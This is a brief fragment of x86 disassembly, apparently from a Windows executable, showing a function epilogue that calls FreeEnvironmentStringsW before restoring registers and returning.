jmp 0x41a9db
push ebx
call fcn.004176e8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret